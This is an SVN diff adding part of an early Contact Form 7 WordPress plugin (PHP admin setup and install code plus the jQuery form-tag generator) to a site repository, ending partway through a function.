+		'inputFieldSettings' => __( "Input field settings", 'wpcf7' ),
+		'tagForImage' => __( "For image", 'wpcf7' ),
+		'tagForInputField' => __( "For input field", 'wpcf7' ),
+		'oneChoicePerLine' => __( "* One choice per line.", 'wpcf7' ),
+		'show' => __( "Show", 'wpcf7' ),
+		'hide' => __( "Hide", 'wpcf7' ),
+		'fileSizeLimit' => __( "File size limit", 'wpcf7' ),
+		'acceptableFileTypes' => __( "Acceptable file types", 'wpcf7' ),
+		'needReallySimpleCaptcha' => __( "Note: To use CAPTCHA, you need Really Simple CAPTCHA plugin installed.", 'wpcf7' )
+	) );
+}
+
+add_action( 'wp_print_scripts', 'wpcf7_admin_load_js' );
+
+function wpcf7_admin_management_page() {
+	global $wp_version;
+
+	switch ( $_GET['message'] ) {
+		case 'created':
+			$updated_message = __( "Contact form created.", 'wpcf7' );
+			break;
+		case 'saved':
+			$updated_message = __( "Contact form saved.", 'wpcf7' );
+			break;
+		case 'deleted':
+			$updated_message = __( "Contact form deleted.", 'wpcf7' );
+			break;
+		case 'table_created':
+			$updated_message = __( "Database table created.", 'wpcf7' );
+			break;
+		case 'table_not_created':
+			$updated_message = __( "Failed to create database table.", 'wpcf7' );
+			break;
+	}
+
+	$contact_forms = wpcf7_contact_forms();
+
+	$id = $_POST['wpcf7-id'];
+
+	if ( 'new' == $_GET['contactform'] ) {
+		$unsaved = true;
+		$current = -1;
+		$cf = wpcf7_contact_form_default_pack();
+	} elseif ( $cf = wpcf7_contact_form( $_GET['contactform'] ) ) {
+		$current = (int) $_GET['contactform'];
+	} else {
+		$first = reset( $contact_forms ); // Returns first item
+		$current = $first->id;
+		$cf = wpcf7_contact_form( $current );
+	}
+
+	require_once WPCF7_PLUGIN_DIR . '/admin/admin-panel.php';
+}
+
+/* Install and default settings */
+
+function wpcf7_install() {
+	global $wpdb;
+
+	if ( wpcf7_table_exists() )
+		return; // Exists already
+
+	$table_name = wpcf7_table_name();
+
+	$charset_collate = '';
+	if ( $wpdb->has_cap( 'collation' ) ) {
+		if ( ! empty( $wpdb->charset ) )
+			$charset_collate = "DEFAULT CHARACTER SET $wpdb->charset";
+		if ( ! empty( $wpdb->collate ) )
+			$charset_collate .= " COLLATE $wpdb->collate";
+	}
+
+	$wpdb->query( "CREATE TABLE IF NOT EXISTS $table_name (
+		cf7_unit_id bigint(20) unsigned NOT NULL auto_increment,
+		title varchar(200) NOT NULL default '',
+		form text NOT NULL,
+		mail text NOT NULL,
+		mail_2 text NOT NULL,
+		messages text NOT NULL,
+		additional_settings text NOT NULL,
+		PRIMARY KEY (cf7_unit_id)) $charset_collate;" );
+
+	if ( ! wpcf7_table_exists() )
+		return false; // Failed to create
+
+	$legacy_data = get_option( 'wpcf7' );
+	if ( is_array( $legacy_data ) ) {
+		foreach ( $legacy_data['contact_forms'] as $key => $value ) {
+			$wpdb->insert( $table_name, array(
+				'cf7_unit_id' => $key,
+				'title' => $value['title'],
+				'form' => maybe_serialize( $value['form'] ),
+				'mail' => maybe_serialize( $value['mail'] ),
+				'mail_2' => maybe_serialize( $value['mail_2'] ),
+				'messages' => maybe_serialize( $value['messages'] ),
+				'additional_settings' => maybe_serialize( $value['additional_settings'] )
+				), array( '%d', '%s', '%s', '%s', '%s', '%s', '%s' ) );
+		}
+
+		// delete_option( 'wpcf7' ); // Comment out for downgrading case for a while
+	} else {
+		wpcf7_load_plugin_textdomain();
+
+		$wpdb->insert( $table_name, array(
+			'title' => __( 'Contact form', 'wpcf7' ) . ' 1',
+			'form' => maybe_serialize( wpcf7_default_form_template() ),
+			'mail' => maybe_serialize( wpcf7_default_mail_template() ),
+			'mail_2' => maybe_serialize ( wpcf7_default_mail_2_template() ),
+			'messages' => maybe_serialize( wpcf7_default_messages_template() ) ) );
+	}
+}
+
+add_action( 'activate_' . WPCF7_PLUGIN_BASENAME, 'wpcf7_install' );
+
+/* Misc */
+
+function wpcf7_admin_url( $file, $query = array() ) {
+	$file = trim( $file, ' /' );
+	if ( 'admin/' != substr( $file, 0, 6 ) )
+		$file = 'admin/' . $file;
+
+	$path = 'admin.php';
+	$path .= '?page=' . WPCF7_PLUGIN_NAME . '/' . $file;
+
+	if ( $query = build_query( $query ) )
+		$path .= '&' . $query;
+
+	$url = admin_url( $path );
+
+	return $url;
+}
+
+function wpcf7_plugin_action_links( $links, $file ) {
+	if ( $file != WPCF7_PLUGIN_BASENAME )
+		return $links;
+
+	$url = wpcf7_admin_url( 'admin.php' );
+
+	$settings_link = '<a href="' . $url . '">' . esc_html( __( 'Settings', 'wpcf7' ) ) . '</a>';
+
+	array_unshift( $links, $settings_link );
+
+	return $links;
+}
+
+add_filter( 'plugin_action_links', 'wpcf7_plugin_action_links', 10, 2 );
+
+function wpcf7_donation_link() {
+	if ( ! WPCF7_SHOW_DONATION_LINK )
+		return;
+
+	if ( 'new' == $_GET['contactform'] || ! empty($_GET['message']) )
+		return;
+
+	$num = mt_rand(0, 99);
+	if ($num >= 10) // 90%
+		return;
+
+	$texts = array(
+		__( "Contact Form 7 needs your support. Please donate today.", 'wpcf7' ),
+		__( "Is this plugin useful for you? If you like it, please help the developer.", 'wpcf7' ),
+		__( "Your contribution is needed for making this plugin better.", 'wpcf7' ),
+		__( "Developing a plugin and providing user support is really hard work. Please help.", 'wpcf7' ) );
+
+	$text = $texts[array_rand( $texts )];
+
+?>
+<div class="donation">
+<p><a href="http://www.pledgie.com/campaigns/3117">
+<img alt="Click here to lend your support to: Support Contact Form 7 and make a donation at www.pledgie.com !" src="http://www.pledgie.com/campaigns/3117.png?skin_name=chrome" border="0" width="149" height="37" /></a>
+<em><?php echo esc_html( $text ); ?></em>
+</p>
+</div>
+<?php
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/admin/wpcf7-admin.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/admin/wpcf7-admin.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/admin/wpcf7-admin.js	(revision 44)
@@ -0,0 +1,796 @@
+jQuery(document).ready(function() {
+    try {
+        jQuery('#tag-generator-div').append(tagGenerator());
+
+        jQuery('input#wpcf7-title:enabled').css({
+            cursor: 'pointer'
+        });
+
+        jQuery('input#wpcf7-title').mouseover(function() {
+            jQuery(this).not('.focus').css({
+                'background-color': '#ffffdd'
+            });
+        });
+
+        jQuery('input#wpcf7-title').mouseout(function() {
+            jQuery(this).css({
+                'background-color': '#fff'
+            });
+        });
+
+        jQuery('input#wpcf7-title').focus(function() {
+            jQuery(this).addClass('focus');
+            jQuery(this).css({
+                cursor: 'text',
+                color: '#333',
+                border: '1px solid #777',
+                font: 'normal 13px Verdana, Arial, Helvetica, sans-serif',
+                'background-color': '#fff'
+            });
+        });
+
+        jQuery('input#wpcf7-title').blur(function() {
+            jQuery(this).removeClass('focus');
+            jQuery(this).css({
+                cursor: 'pointer',
+                color: '#555',
+                border: 'none',
+                font: 'bold 20px serif',
+                'background-color': '#fff'
+            });
+        });
+
+        jQuery('input#wpcf7-title').change(function() {
+            updateTag();
+        });
+
+        updateTag();
+
+        if (! jQuery('#wpcf7-mail-2-active').is(':checked'))
+            jQuery('#mail-2-fields').hide();
+
+        jQuery('#wpcf7-mail-2-active').click(function() {
+            if (jQuery('#wpcf7-mail-2-active').is(':checked')) {
+                if (jQuery('#mail-2-fields').is(':hidden'))
+                    jQuery('#mail-2-fields').slideDown('fast');
+            } else {
+                if (jQuery('#mail-2-fields').is(':visible'))
+                    jQuery('#mail-2-fields').hide('fast');
+            }
+        });
+
+        jQuery('#message-fields-toggle-switch').text(_wpcf7L10n.show);
+        jQuery('#message-fields').hide();
+
+        jQuery('#message-fields-toggle-switch').click(function() {
+            if (jQuery('#message-fields').is(':hidden')) {
+                jQuery('#message-fields').slideDown('fast');
+                jQuery('#message-fields-toggle-switch').text(_wpcf7L10n.hide);
+            } else {
+                jQuery('#message-fields').hide('fast');
+                jQuery('#message-fields-toggle-switch').text(_wpcf7L10n.show);
+            }
+        });
+
+        if ('' == jQuery.trim(jQuery('#wpcf7-additional-settings').text())) {
+            jQuery('#additional-settings-fields-toggle-switch').text(_wpcf7L10n.show);
+            jQuery('#additional-settings-fields').hide();
+        } else {
+            jQuery('#additional-settings-fields-toggle-switch').text(_wpcf7L10n.hide);
+            jQuery('#additional-settings-fields').show();
+        }
+
+        jQuery('#additional-settings-fields-toggle-switch').click(function() {
+            if (jQuery('#additional-settings-fields').is(':hidden')) {
+                jQuery('#additional-settings-fields').slideDown('fast');
+                jQuery('#additional-settings-fields-toggle-switch').text(_wpcf7L10n.hide);
+            } else {
+                jQuery('#additional-settings-fields').hide('fast');
+                jQuery('#additional-settings-fields-toggle-switch').text(_wpcf7L10n.show);
+            }
+        });
+
+    } catch (e) {
+    }
+});
+
+function updateTag() {
+  var title = jQuery('input#wpcf7-title').val();
+  if (title)
+    title = title.replace(/["'\[\]]/g, '');
+  jQuery('input#wpcf7-title').val(title);
+  var current = jQuery('input#wpcf7-id').val();
+  var tag = '[contact-form ' + current + ' "' + title + '"]';
+  jQuery('input#contact-form-anchor-text').val(tag);
+}
+
+function tagGenerator() {
+  var menu = jQuery('<div class="tag-generator"></div>');
+  
+  var dropdown_icon = jQuery('<img src="../wp-content/plugins/contact-form-7/images/dropdown.gif" />');
+  dropdown_icon.css({ 'vertical-align': 'bottom' });
+  
+  var selector = jQuery('<span>' + _wpcf7L10n.generateTag + '</span>');
+  selector.append(dropdown_icon);
+  selector.css({
+    border: '1px solid #ddd',
+    padding: '2px 4px',
+    background: '#fff url( ../wp-admin/images/fade-butt.png ) repeat-x 0 0',
+    '-moz-border-radius': '3px',
+    '-khtml-border-radius': '3px',
+    '-webkit-border-radius': '3px',
+    'border-radius': '3px'
+  });
+  selector.mouseover(function() {
+    jQuery(this).css({ 'border-color': '#bbb' });
+  });
+  selector.mouseout(function() {
+    jQuery(this).css({ 'border-color': '#ddd' });
+  });
+  selector.mousedown(function() {
+    jQuery(this).css({ background: '#ddd' });
+  });
+  selector.mouseup(function() {
+    jQuery(this).css({ background: '#fff url( ../wp-admin/images/fade-butt.png ) repeat-x 0 0' });
+  });
+  selector.click(function() {
+    dropdown.slideDown('fast');
+    return false;
+  });
+  jQuery('body').click(function() {
+    dropdown.hide();
+  });
+  menu.append(selector);
+  
+  var pane = jQuery('<div class="tg-pane"></div>');
+  pane.hide();
+  menu.append(pane);
+  
+  var dropdown = jQuery('<div class="tg-dropdown"></div>');
+  dropdown.hide();
+  
+  var tag_types = [
+    'textField', 'emailField', 'textArea', 'menu', 'checkboxes', 'radioButtons',
+    'acceptance', 'quiz', 'captcha', 'fileUpload', 'submit'];
+
+  jQuery.each(tag_types, function(i, n) {
+    var submenu = jQuery('<div>' + _wpcf7L10n[n] + '</div>');
+    submenu.css({
+      margin: 0,
+      padding: '0 4px',
+      'line-height': '180%',
+      background: '#fff'
+    });
+    submenu.mouseover(function() {
+      jQuery(this).css({ background: '#d4f2f2' });
+    });
+    submenu.mouseout(function() {
+      jQuery(this).css({ background: '#fff' });
+    });
+    submenu.click(function() {
+      dropdown.hide();
+      pane.hide();
+      pane.empty();
+      tgPane(pane, n);
+      pane.slideDown('fast');
+      return false;
+    });
+    dropdown.append(submenu);
+  });
+  
+  menu.append(dropdown);
+  
+  return menu;
+}
+
+function tgPane(pane, tagType) {
+  var closeButtonDiv = jQuery('<div></div>');
+  closeButtonDiv.css({ float: 'right' });
+  var closeButton = jQuery('<span class="tg-closebutton">&#215;</span>');
+  closeButton.click(function() {
+    pane.slideUp('fast').empty();
+  });
+  closeButtonDiv.append(closeButton);
+  pane.append(closeButtonDiv);
+
+  var paneTitle = jQuery('<div class="tg-panetitle">' + _wpcf7L10n[tagType] + '</div>');
+  pane.append(paneTitle);
+  
+  var tgInputs = {};
+  jQuery.each([ 'tagName', 'tagId', 'tagClasses', 'tagId2', 'tagClasses2', 'defaultValue',
+    'tagSize', 'tagMaxLength', 'tagFileSizeLimit', 'tagAcceptableFileTypes', 'tagCols', 'tagRows', 'label', 'fgColor', 'bgColor' ], function(i, n) {
+    tgInputs[n] = jQuery('<input type="text" />');
+    tgInputs[n].css({ width: '98%', 'font-size': 'smaller' });
+    tgInputs[n].change(function() {
+      tgCreateTag(tagType, tgInputs, n);
+    });
+  });
+  tgInputs.tagName.css({ 'border-color': '#555' });
+  jQuery.each([ 'isRequiredField', 'allowsMultipleSelections', 'insertFirstBlankOption', 'makeCheckboxesExclusive',
+    'isAcceptanceDefaultOn', 'isAcceptanceInvert',
+    'akismetAuthor', 'akismetAuthorEmail', 'akismetAuthorUrl',
+    'imageSizeSmall', 'imageSizeMedium', 'imageSizeLarge' ], function(i, n) {
+    tgInputs[n] = jQuery('<input type="checkbox" />');
+    tgInputs[n].change(function() {
+      tgCreateTag(tagType, tgInputs, n);
+    });
+  });
+  jQuery.each([ 'menuChoices' ], function(i, n) {
+    tgInputs[n] = jQuery('<textarea></textarea>');
+    tgInputs[n].css({ width: '98%', height: '100px', 'font-size': 'smaller' });
+    tgInputs[n].change(function() {
+      tgCreateTag(tagType, tgInputs, n);
+    });
+  });
+  jQuery.each([ 'tag1st', 'tag2nd' ], function(i, n) {
+    tgInputs[n] = jQuery('<input type="text" class="tag" readonly="readonly" onfocus="this.select()" />');
+    tgInputs[n].css({ width: '98%' });
+  });
+  
+  switch (tagType) {
+    case 'textField':
+    case 'emailField':
+      var table1 = jQuery('<table></table>');
+      pane.append(table1);
+      table1.append(tgTr(
+        jQuery('<span>&nbsp;' + _wpcf7L10n.isRequiredField + '</span>').prepend(tgInputs.isRequiredField)
+      ));
+      table1.append(tgTr(
+        jQuery('<span>' + _wpcf7L10n.tagName + '<br /></span>').append(tgInputs.tagName),
+        jQuery('<span></span>')
+      ));
+      
+      var table2 = jQuery('<table></table>');
+      pane.append(table2);
+      table2.append(tgTr(
+        jQuery('<span><code>size</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagSize),
+        jQuery('<span><code>maxlength</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagMaxLength)
+      ));
+      table2.append(tgTr(
+        jQuery('<span><code>id</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagId),
+        jQuery('<span><code>class</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagClasses)
+      ));
+      var akismetOpts = jQuery('<span>' + _wpcf7L10n.akismet + ' (' + _wpcf7L10n.optional + ')<br /></span>');
+      if ('textField' == tagType) {
+        akismetOpts.append(tgInputs.akismetAuthor).append('&nbsp;' + _wpcf7L10n.akismetAuthor);
+        akismetOpts.append('<br />');
+        akismetOpts.append(tgInputs.akismetAuthorUrl).append('&nbsp;' + _wpcf7L10n.akismetAuthorUrl);
+      } else if ('emailField' == tagType) {
+        akismetOpts.append(tgInputs.akismetAuthorEmail).append('&nbsp;' + _wpcf7L10n.akismetAuthorEmail);
+      }
+      table2.append(tgTr(
+        akismetOpts,
+        jQuery('<span>' + _wpcf7L10n.defaultValue + ' (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.defaultValue)
+      ));
+      pane.append(jQuery('<div class="tg-tag">' + _wpcf7L10n.generatedTag + '<br /></div>').append(tgInputs.tag1st));
+      break;
+    case 'textArea':
+      var table1 = jQuery('<table></table>');
+      pane.append(table1);
+      table1.append(tgTr(
+        jQuery('<span>&nbsp;' + _wpcf7L10n.isRequiredField + '</span>').prepend(tgInputs.isRequiredField)
+      ));
+      table1.append(tgTr(
+        jQuery('<span>' + _wpcf7L10n.tagName + '<br /></span>').append(tgInputs.tagName),
+        jQuery('<span></span>')
+      ));
+      
+      var table2 = jQuery('<table></table>');
+      pane.append(table2);
+      table2.append(tgTr(
+        jQuery('<span><code>cols</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagCols),
+        jQuery('<span><code>rows</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagRows)
+      ));
+      table2.append(tgTr(
+        jQuery('<span><code>id</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagId),
+        jQuery('<span><code>class</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagClasses)
+      ));
+      table2.append(tgTr(
+        jQuery('<span>' + _wpcf7L10n.defaultValue + ' (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.defaultValue)
+      ));
+      pane.append(jQuery('<div class="tg-tag">' + _wpcf7L10n.generatedTag + '<br /></div>').append(tgInputs.tag1st));
+      break;
+    case 'menu':
+    case 'checkboxes':
+    case 'radioButtons':
+      var table1 = jQuery('<table></table>');
+      pane.append(table1);
+      if ('radioButtons' != tagType)
+        table1.append(tgTr(
+          jQuery('<span>&nbsp;' + _wpcf7L10n.isRequiredField + '</span>').prepend(tgInputs.isRequiredField)
+        ));
+      table1.append(tgTr(
+        jQuery('<span>' + _wpcf7L10n.tagName + '<br /></span>').append(tgInputs.tagName),
+        jQuery('<span></span>')
+      ));
+      
+      var table2 = jQuery('<table></table>');
+      pane.append(table2);
+      table2.append(tgTr(
+        jQuery('<span><code>id</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagId),
+        jQuery('<span><code>class</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagClasses)
+      ));
+      
+      if ('menu' == tagType) {
+        var menuOpt1 = jQuery('<span>&nbsp;' + _wpcf7L10n.allowsMultipleSelections + '</span>').prepend(tgInputs.allowsMultipleSelections).prepend('<br />');
+        var menuOpt2 = jQuery('<span>&nbsp;' + _wpcf7L10n.insertFirstBlankOption + '</span>').prepend(tgInputs.insertFirstBlankOption).prepend('<br />');
+        
+        table2.append(tgTr(
+          jQuery('<span>' + _wpcf7L10n.menuChoices + '<br /></span>').append(tgInputs.menuChoices)
+            .append('<br /><span style="font-size: smaller">' + _wpcf7L10n.oneChoicePerLine + '</span>'),
+          menuOpt1.append(menuOpt2)
+        ));
+      } else if ('checkboxes' == tagType) {
+        table2.append(tgTr(
+          jQuery('<span>' + _wpcf7L10n.menuChoices + '<br /></span>').append(tgInputs.menuChoices)
+            .append('<br /><span style="font-size: smaller">' + _wpcf7L10n.oneChoicePerLine + '</span>'),
+          jQuery('<span>&nbsp;' + _wpcf7L10n.makeCheckboxesExclusive + '</span>').prepend(tgInputs.makeCheckboxesExclusive).prepend('<br />')
+        ));
+      } else {
+        table2.append(tgTr(
+          jQuery('<span>' + _wpcf7L10n.menuChoices + '<br /></span>').append(tgInputs.menuChoices)
+            .append('<br /><span style="font-size: smaller">' + _wpcf7L10n.oneChoicePerLine + '</span>')
+        ));
+      }
+      
+      pane.append(jQuery('<div class="tg-tag">' + _wpcf7L10n.generatedTag + '<br /></div>').append(tgInputs.tag1st));
+      break;
+    case 'acceptance':
+      var table1 = jQuery('<table></table>');
+      pane.append(table1);
+      
+      table1.append(tgTr(
+        jQuery('<span>' + _wpcf7L10n.tagName + '<br /></span>').append(tgInputs.tagName),
+        jQuery('<span></span>')
+      ));
+      
+      var table2 = jQuery('<table></table>');
+      pane.append(table2);
+      table2.append(tgTr(
+        jQuery('<span><code>id</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagId),
+        jQuery('<span><code>class</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagClasses)
+      ));
+      
+      var menuOpt1 = jQuery('<span>&nbsp;' + _wpcf7L10n.isAcceptanceDefaultOn + '</span>').prepend(tgInputs.isAcceptanceDefaultOn).prepend('<br />');
+      var menuOpt2 = jQuery('<span>&nbsp;' + _wpcf7L10n.isAcceptanceInvert + '</span>').prepend(tgInputs.isAcceptanceInvert).prepend('<br />');
+      menuOpt2.append('<br /><span style="font-size: smaller;">' + _wpcf7L10n.isAcceptanceInvertMeans + '</span>');
+      
+      table2.append(jQuery('<tr></tr>').append(jQuery('<td colspan="2"></td>').append(menuOpt1).append(menuOpt2)));
+      
+      pane.append(jQuery('<div class="tg-tag">' + _wpcf7L10n.generatedTag + '<br /></div>').append(tgInputs.tag1st));
+      break;
+    case 'quiz':
+      var table1 = jQuery('<table></table>');
+      pane.append(table1);
+      
+      table1.append(tgTr(
+        jQuery('<span>' + _wpcf7L10n.tagName + '<br /></span>').append(tgInputs.tagName),
+        jQuery('<span></span>')
+      ));
+      
+      var table2 = jQuery('<table></table>');
+      pane.append(table2);
+      table2.append(tgTr(
+        jQuery('<span><code>size</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagSize),
+        jQuery('<span><code>maxlength</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagMaxLength)
+      ));
+      table2.append(tgTr(
+        jQuery('<span><code>id</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagId),
+        jQuery('<span><code>class</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagClasses)
+      ));
+      table2.append(tgTr(
+        jQuery('<span>' + _wpcf7L10n.quizzes + '<br /></span>').append(tgInputs.menuChoices)
+          .append('<br /><span style="font-size: smaller">' + _wpcf7L10n.quizFormatDesc + '</span>')
+      ));
+      pane.append(jQuery('<div class="tg-tag">' + _wpcf7L10n.generatedTag + '<br /></div>').append(tgInputs.tag1st));
+      break;
+    case 'captcha':
+      var table1 = jQuery('<table></table>');
+      pane.append(table1);
+
+        if (! _wpcf7.captchaMod) {
+            table1.append('<tr><td colspan="2"><strong style="color: #e6255b">' +
+                _wpcf7L10n.needReallySimpleCaptcha + '</strong><br />' +
+                '<a href="http://wordpress.org/extend/plugins/really-simple-captcha/">' +
+                'http://wordpress.org/extend/plugins/really-simple-captcha/</a></td></tr>');
+        }
+
+      table1.append(tgTr(
+        jQuery('<span>' + _wpcf7L10n.tagName + '<br /></span>').append(tgInputs.tagName),
+        jQuery('<span></span>')
+      ));
+      
+      var table2 = jQuery('<table></table>');
+      pane.append(table2);
+      table2.append('<caption>' + _wpcf7L10n.imageSettings + '</caption>');
+      var imageSizeOpts = jQuery('<span>' + _wpcf7L10n.imageSize + ' (' + _wpcf7L10n.optional + ')<br /></span>');
+      imageSizeOpts.append(tgInputs.imageSizeSmall).append('&nbsp;' + _wpcf7L10n.imageSizeSmall);
+      imageSizeOpts.append('&emsp;');
+      imageSizeOpts.append(tgInputs.imageSizeMedium).append('&nbsp;' + _wpcf7L10n.imageSizeMedium);
+      imageSizeOpts.append('&emsp;');
+      imageSizeOpts.append(tgInputs.imageSizeLarge).append('&nbsp;' + _wpcf7L10n.imageSizeLarge);
+      table2.append(jQuery('<tr></tr>').append(jQuery('<td colspan="2"></td>').append(imageSizeOpts)));
+      table2.append(tgTr(
+        jQuery('<span>' + _wpcf7L10n.fgColor + ' (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.fgColor),
+        jQuery('<span>' + _wpcf7L10n.bgColor + ' (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.bgColor)
+      ));
+      table2.append(tgTr(
+        jQuery('<span><code>id</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagId),
+        jQuery('<span><code>class</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagClasses)
+      ));
+      
+      var table3 = jQuery('<table></table>');
+      pane.append(table3);
+      table3.append('<caption>' + _wpcf7L10n.inputFieldSettings + '</caption>');
+      table3.append(tgTr(
+        jQuery('<span><code>size</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagSize),
+        jQuery('<span><code>maxlength</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagMaxLength)
+      ));
+      table3.append(tgTr(
+        jQuery('<span><code>id</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagId2),
+        jQuery('<span><code>class</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagClasses2)
+      ));
+      pane.append(
+        jQuery('<div class="tg-tag">' + _wpcf7L10n.generatedTag + '</div>')
+          .append('<br />').append('1) ' + _wpcf7L10n.tagForImage)
+          .append(tgInputs.tag1st)
+          .append('<br />').append('2) ' + _wpcf7L10n.tagForInputField)
+          .append(tgInputs.tag2nd)
+      );
+      break;
+    case 'fileUpload':
+      var table1 = jQuery('<table></table>');
+      pane.append(table1);
+      table1.append(tgTr(
+        jQuery('<span>&nbsp;' + _wpcf7L10n.isRequiredField + '</span>').prepend(tgInputs.isRequiredField)
+      ));
+      table1.append(tgTr(
+        jQuery('<span>' + _wpcf7L10n.tagName + '<br /></span>').append(tgInputs.tagName),
+        jQuery('<span></span>')
+      ));
+      
+      var table2 = jQuery('<table></table>');
+      pane.append(table2);
+      table2.append(tgTr(
+        jQuery('<span>' + _wpcf7L10n.fileSizeLimit + ' (' + _wpcf7L10n.bytes + ') (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagFileSizeLimit),
+        jQuery('<span>' + _wpcf7L10n.acceptableFileTypes + ' (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagAcceptableFileTypes)
+      ));
+      table2.append(tgTr(
+        jQuery('<span><code>id</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagId),
+        jQuery('<span><code>class</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagClasses)
+      ));
+      pane.append(jQuery('<div class="tg-tag">' + _wpcf7L10n.generatedTag + '<br /></div>').append(tgInputs.tag1st));
+      break;
+    case 'submit':
+      var table = jQuery('<table></table>');
+      pane.append(table);
+      
+      table.append(tgTr(
+        jQuery('<span><code>id</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagId),
+        jQuery('<span><code>class</code> (' + _wpcf7L10n.optional + ')<br /></span>').append(tgInputs.tagClasses)
+      ));
+      
+      table.append(tgTr(
+        jQuery('<span>' + _wpcf7L10n.label + '<br /></span>').append(tgInputs.label),
+        jQuery('<span></span>')
+      ));
+      pane.append(jQuery('<div class="tg-tag">' + _wpcf7L10n.generatedTag + '<br /></div>').append(tgInputs.tag1st));
+      break;
+  }
+  
+  tgCreateTag(tagType, tgInputs);
+}
+
+function tgTr() {
+  var tr = jQuery('<tr></tr>');
+  jQuery.each(arguments, function(i, n) {
+    var td = jQuery('<td></td>').append(n);
+    tr.append(td);
+  });
+  return tr;
+}
+
+function tgCreateTag(tagType, tgInputs, trigger) {
+  tgInputs.tag1st.empty();
+  tgInputs.tag2nd.empty();
+  
+  jQuery.each([ 'tagName' ], function(i, n) {
+    var val = tgInputs[n].val();
+    val = val.replace(/[^0-9a-zA-Z:._-]/g, '').replace(/^[^a-zA-Z]+/, '');
+    if ('' == val)
+      val = tgDefaultName(tagType);
+    tgInputs[n].val(val);
+  });
+  
+  jQuery.each([ 'tagSize', 'tagMaxLength', 'tagCols', 'tagRows' ], function(i, n) {
+    var val = tgInputs[n].val();
+    val = val.replace(/[^0-9]/g, '');
+    tgInputs[n].val(val);
+  });
+  
+  jQuery.each([ 'tagId', 'tagId2' ], function(i, n) {
+    var val = tgInputs[n].val();
+    val = val.replace(/[^-0-9a-zA-Z_]/g, '');
+    tgInputs[n].val(val);
+  });
+  
+  jQuery.each([ 'tagClasses', 'tagClasses2' ], function(i, n) {
+    var val = tgInputs[n].val();
+    val = jQuery.map(val.split(' '), function(n) {
+      return n.replace(/[^-0-9a-zA-Z_]/g, '');
+    }).join(' ');
+    val = jQuery.trim(val.replace(/\s+/g, ' '));
+    tgInputs[n].val(val);
+  });
+  
+  jQuery.each([ 'fgColor', 'bgColor' ], function(i, n) {
+    var val = tgInputs[n].val();
+    val = val.replace(/[^0-9a-fA-F]/g, '');
+    tgInputs[n].val(val);
+  });
+  
+  jQuery.each([ 'tagFileSizeLimit' ], function(i, n) {
+    var val = tgInputs[n].val();
+    val = val.replace(/[^0-9kKmMbB]/g, '');
+    tgInputs[n].val(val);
+  });
+  
+  jQuery.each([ 'tagAcceptableFileTypes' ], function(i, n) {
+    var val = tgInputs[n].val();
+    val = val.replace(/[^0-9a-zA-Z.\s]/g, '');
+    tgInputs[n].val(val);
+  });
+  
+  if ('akismetAuthor' == trigger && tgInputs.akismetAuthor.is(':checked')) {
+    tgInputs.akismetAuthorUrl.removeAttr('checked');
+    tgInputs.akismetAuthorEmail.removeAttr('checked');
+  } else if ('akismetAuthorUrl' == trigger && tgInputs.akismetAuthorUrl.is(':checked')) {
+    tgInputs.akismetAuthor.removeAttr('checked');
+    tgInputs.akismetAuthorEmail.removeAttr('checked');
+  } else if ('akismetAuthorEmail' == trigger && tgInputs.akismetAuthorEmail.is(':checked')) {
+    tgInputs.akismetAuthor.removeAttr('checked');
+    tgInputs.akismetAuthorUrl.removeAttr('checked');
+  }
+  
+  if ('imageSizeSmall' == trigger && tgInputs.imageSizeSmall.is(':checked')) {
+    tgInputs.imageSizeMedium.removeAttr('checked');
+    tgInputs.imageSizeLarge.removeAttr('checked');
+  } else if ('imageSizeMedium' == trigger && tgInputs.imageSizeMedium.is(':checked')) {
+    tgInputs.imageSizeSmall.removeAttr('checked');
+    tgInputs.imageSizeLarge.removeAttr('checked');
+  } else if ('imageSizeLarge' == trigger && tgInputs.imageSizeLarge.is(':checked')) {
+    tgInputs.imageSizeSmall.removeAttr('checked');
+    tgInputs.imageSizeMedium.removeAttr('checked');
+  }
+  
+  switch (tagType) {
+    case 'textField':
+    case 'emailField':
+      var type = ('emailField' == tagType) ? 'email' : 'text';
+      if (tgInputs.isRequiredField.is(':checked'))
+        type += '*';
+      var name = tgInputs.tagName.val();
+      var options = [];
+      if (tgInputs.tagSize.val() || tgInputs.tagMaxLength.val())
+        options.push(tgInputs.tagSize.val() + '/' + tgInputs.tagMaxLength.val());
+      if (tgInputs.tagId.val())
